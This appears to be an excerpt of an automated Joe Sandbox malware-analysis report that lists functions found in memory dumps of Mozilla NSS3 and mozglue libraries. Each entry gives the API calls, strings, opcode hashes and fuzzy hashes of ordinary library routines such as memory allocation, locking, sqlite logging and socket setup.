Instruction Fuzzy Hash: 3F01A5B19106005BFA30DE25FC05FC7B7B1EB51358F208439E99AD6B10DA32E425C6E2

Function 6C3DAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C3C3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3DAE42), ref: 6C3C30AA
Part of subcall function 6C3C3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3C30C7
Part of subcall function 6C3C3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C3C30E5
Part of subcall function 6C3C3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3C3116
Part of subcall function 6C3C3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C3C312B
Part of subcall function 6C3C3090: PK11_DestroyObject.NSS3(?,?), ref: 6C3C3154
Part of subcall function 6C3C3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C3B99FF,?,?,?,?,?,?,?,?,?,6C3B2D6B,?), ref: 6C3DAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C3B99FF,?,?,?,?,?,?,?,?,?,6C3B2D6B,?), ref: 6C3DAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C3B2D6B,?,?,00000000), ref: 6C3DAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C3B2D6B,?,?,00000000), ref: 6C3DAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C3B2D6B,?,?), ref: 6C3DAEA3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: b42f22a54c9b0bd40ea06c1ed933c094d1ae1be889dde823523cc36729c067d7
Instruction ID: 9e7b0d64390ec0356c03c2948419affcce2879e372f16cfcd8bc3e68c32b2a21
Opcode Fuzzy Hash: b42f22a54c9b0bd40ea06c1ed933c094d1ae1be889dde823523cc36729c067d7
Instruction Fuzzy Hash: A501F463B4151157E701A22CAE85AEF315C8B87A5DF0A0031E84AC7B01FA12FD09CEE3

Function 6C4CADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C4CA6D8), ref: 6C4CAE0D
free.MOZGLUE(?), ref: 6C4CAE14
DeleteCriticalSection.KERNEL32(6C4CA6D8), ref: 6C4CAE36
free.MOZGLUE(?), ref: 6C4CAE3D
free.MOZGLUE(00000000,00000000,?,?,6C4CA6D8), ref: 6C4CAE47

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 073f9e7827924c1ae1fcd61ee4f63bec4cce2328e35e1e6b9c8757ef8085aa0e
Instruction ID: 9cd141a0d25cf246df5e06153ad36a429aad62b9109c11d4b8f434ad3e131217
Opcode Fuzzy Hash: 073f9e7827924c1ae1fcd61ee4f63bec4cce2328e35e1e6b9c8757ef8085aa0e
Instruction Fuzzy Hash: 57F0C2B5301A01A7CA00DF689809D5B7778FE86675711032CE12AC7A80D731F015C7EA

Function 6C2BD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C2CCBE8: GetCurrentProcess.KERNEL32(?,6C2931A7), ref: 6C2CCBF1
Part of subcall function 6C2CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2931A7), ref: 6C2CCBFA

EnterCriticalSection.KERNEL32(6C31E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C2CD1C5), ref: 6C2BD4F2
LeaveCriticalSection.KERNEL32(6C31E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C2CD1C5), ref: 6C2BD50B

Part of subcall function 6C29CFE0: EnterCriticalSection.KERNEL32(6C31E784), ref: 6C29CFF6
Part of subcall function 6C29CFE0: LeaveCriticalSection.KERNEL32(6C31E784), ref: 6C29D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C2CD1C5), ref: 6C2BD52E
EnterCriticalSection.KERNEL32(6C31E7DC), ref: 6C2BD690
LeaveCriticalSection.KERNEL32(6C31E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C2CD1C5), ref: 6C2BD751

Strings

MOZ_CRASH(), xrefs: 6C2BD4BB

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2f8a8113a3256ee0cd807309cdfa1fbe800492ae118719ddd5a4ce37ae87c594
Instruction ID: b4c26702060bc44331c84e78a99aebb7929fd6a5549a670ecbc54b4d7c3893f2
Opcode Fuzzy Hash: 2f8a8113a3256ee0cd807309cdfa1fbe800492ae118719ddd5a4ce37ae87c594
Instruction Fuzzy Hash: 27512571A047068FD318CF28C19479AB7E5EB89748F144A2EE999D7F88D731E800CF92

Function 6C2EB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C294290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C2D3EBD,6C2D3EBD,00000000), ref: 6C2942A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C2EB127), ref: 6C2EB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C2EB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C2EB4E4

Strings

pid:, xrefs: 6C2EB4DE

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d8c81a469775d3c5632182a14a50d9499ce0b47d0aeacc0c7f2c946d13b1a3dd
Instruction ID: a87f030a8e60af1da06a10bdaffebff71d09ffba1417509651354032bf028fee
Opcode Fuzzy Hash: d8c81a469775d3c5632182a14a50d9499ce0b47d0aeacc0c7f2c946d13b1a3dd
Instruction Fuzzy Hash: EA311231A0130D8FCB00DFAAD890AEEB7B9BF09308F940529EC11B7A41D771E845CBA1

Function 6C346C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C346D36

Strings

%s at line %d of [%.10s], xrefs: 6C346D2F
database corruption, xrefs: 6C346D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C346D20

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8cbf4ab75826e4303535ddf9fc1cee0cf8ba6e55e118008df53c83e3b930b561
Instruction ID: 645057a57cf0136512458c269ade9577c04b54593fdac76e1a641fc89ae5c138
Opcode Fuzzy Hash: 8cbf4ab75826e4303535ddf9fc1cee0cf8ba6e55e118008df53c83e3b930b561
Instruction Fuzzy Hash: 9121E2306047059BC710CF19C841B9AB7F5AF8631CF148529D88A9BF51E371E9458FA2

Function 6C422FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+Bl,6C4232C2,<+Bl,00000000,00000000,?), ref: 6C422FDA

Part of subcall function 6C4114C0: TlsGetValue.KERNEL32 ref: 6C4114E0
Part of subcall function 6C4114C0: EnterCriticalSection.KERNEL32 ref: 6C4114F5
Part of subcall function 6C4114C0: PR_Unlock.NSS3 ref: 6C41150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C42300B

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C42302A

Part of subcall function 6C410840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4108B4

Part of subcall function 6C3FC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C3FC45D
Part of subcall function 6C3FC3D0: TlsGetValue.KERNEL32 ref: 6C3FC494
Part of subcall function 6C3FC3D0: EnterCriticalSection.KERNEL32(?), ref: 6C3FC4A9
Part of subcall function 6C3FC3D0: PR_Unlock.NSS3(?), ref: 6C3FC4F4

Strings

<+Bl, xrefs: 6C422FD0

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+Bl
API String ID: 2538134263-703214064
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3a13ad7a095a564db4d9c558fd1c0cd9a36c93b4a938641dbfb627c106ba95d9
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 0111C8B6B001046BDB00CE65DC01F9B77B9AB856A8F184134E81CD7780E776ED15CBE1

Function 6C47CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C47CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C47CC7B), ref: 6C47CD7A
Part of subcall function 6C47CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C47CD8E
Part of subcall function 6C47CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C47CDA5
Part of subcall function 6C47CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C47CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C47CCB5
memcpy.VCRUNTIME140(6C5114F4,6C5102AC,00000090), ref: 6C47CCD3
memcpy.VCRUNTIME140(6C511588,6C5102AC,00000090), ref: 6C47CD2B

Part of subcall function 6C399AC0: socket.WSOCK32(?,00000017,6C3999BE), ref: 6C399AE6
Part of subcall function 6C399AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C3999BE), ref: 6C399AFC

Part of subcall function 6C3A0590: closesocket.WSOCK32(6C399A8F,?,?,6C399A8F,00000000), ref: 6C3A0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C47CCB0

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 529bbaa2c8778202cfc4dd9cd36753a0dab1fb887c5e82ba5b15d927b6019159
Instruction ID: 2bb8892a03eeab5b98d479be8a6353587d5374cb7a994e3273c60468f3c1b0b8
Opcode Fuzzy Hash: 529bbaa2c8778202cfc4dd9cd36753a0dab1fb887c5e82ba5b15d927b6019159
Instruction Fuzzy Hash: 901193B5B012409EDB10DF5A8C4FF837AB89366208F0310A9E4068BF52EB70C4044FDB

Function 6C2B5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C2B5D40
EnterCriticalSection.KERNEL32(6C31F688), ref: 6C2B5D67
__aulldiv.LIBCMT ref: 6C2B5DB4
LeaveCriticalSection.KERNEL32(6C31F688), ref: 6C2B5DED

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 8483106ffc606601279c73b22089e2da89e60dac6bd32ad81045d38d43ee0933
Instruction ID: 27351763d66e16510d8cfd1afcdb950f9a110c74a03f0b86fdb83b97da4fc414
Opcode Fuzzy Hash: 8483106ffc606601279c73b22089e2da89e60dac6bd32ad81045d38d43ee0933
Instruction Fuzzy Hash: 9F515F75E0021A8FCF08CF68C855AAEBBB5FB89308F194729D815BBB50C7716945CB90

Function 6C474FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C3585D2,00000000,?,?), ref: 6C474FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C47500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4750C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4750D6

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2bfd5a1b1ed36cc8241303cbce6c51e8f3ed9e14d43229292df1f313662f37b0
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 4D4180B6A002118BCB18CF18DCD1B9AB7E1BF4831871D466DD84ACBB02E375E891CBD1

Function 6C4CA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C4CA662), ref: 6C4CA69E
Part of subcall function 6C4CA690: PR_NewCondVar.NSS3(?), ref: 6C4CA6B4

PR_IntervalNow.NSS3 ref: 6C4CA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C4CA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C4CA944
PR_SetPollableEvent.NSS3(?), ref: 6C4CA94F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: ae43462cae68fc54355dddf8f2bfa6283707a9d666b82b4d2475b66376acbb23
Instruction ID: 6bffe5208246b989733c0a3f60897db526e89f208cc3a8d6d75f8a15273c449a
Opcode Fuzzy Hash: ae43462cae68fc54355dddf8f2bfa6283707a9d666b82b4d2475b66376acbb23
Instruction Fuzzy Hash: 434149B8A01A029FC714CF29C580D96FBF1FF48318725856AD559CBB21E731E850CFA1

Function 6C3B6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C3B6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C3B6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C3B6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C4D8FE0), ref: 6C3B6CFE

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: a3d8895eca92c4452e076ca16ba29872a4e162b21625be92f30d3e60ce85a55d
Instruction ID: 097c5797d387bd34c21c8310683b3b2b16ad7d46d1efc2dda328eacadfb432ac
Opcode Fuzzy Hash: a3d8895eca92c4452e076ca16ba29872a4e162b21625be92f30d3e60ce85a55d
Instruction Fuzzy Hash: AC31A1B1A012169FEB08DF65C891ABFBBF5EF95248B10443DD905E7B01EB31A905CBA0

Function 6C4C4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C4C4F5D
free.MOZGLUE(?), ref: 6C4C4F74
free.MOZGLUE(?), ref: 6C4C4F82
GetLastError.KERNEL32 ref: 6C4C4F90

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: f53eb48c4d441e2f1c3b8f3088c61414860a249a42f3d5ae06709c3b99b94375
Instruction ID: 5d352064384def929de8021ccb5bfe1a8dc2938e8da8c75c8bc2b0be09ef2e21
Opcode Fuzzy Hash: f53eb48c4d441e2f1c3b8f3088c61414860a249a42f3d5ae06709c3b99b94375
Instruction Fuzzy Hash: 5A313779B002094BEB01CA69DD85FEEB3B8FF46399F050229EC55A7780D734A90586A2

Function 6C2D6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C2D82BC,?,?), ref: 6C2D649B

Part of subcall function 6C2ACA10: malloc.MOZGLUE(?), ref: 6C2ACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2D64A9

Part of subcall function 6C2CFA80: GetCurrentThreadId.KERNEL32 ref: 6C2CFA8D
Part of subcall function 6C2CFA80: AcquireSRWLockExclusive.KERNEL32(6C31F448), ref: 6C2CFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C2D653F
free.MOZGLUE(?), ref: 6C2D655A

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 8e9a4f7588448c893a981655181b1c868eef36dd35076e8dde0aa4582ff3b8da
Instruction ID: 7bdc6080fd81f17d96359386629a3f07049c67c81c808937e1cc8a8a82e74aff
Opcode Fuzzy Hash: 8e9a4f7588448c893a981655181b1c868eef36dd35076e8dde0aa4582ff3b8da
Instruction Fuzzy Hash: 6E316FB5A043059FDB04CF15D884A9ABBE4BF99314F01882EFC9A97741DB34F919CB92

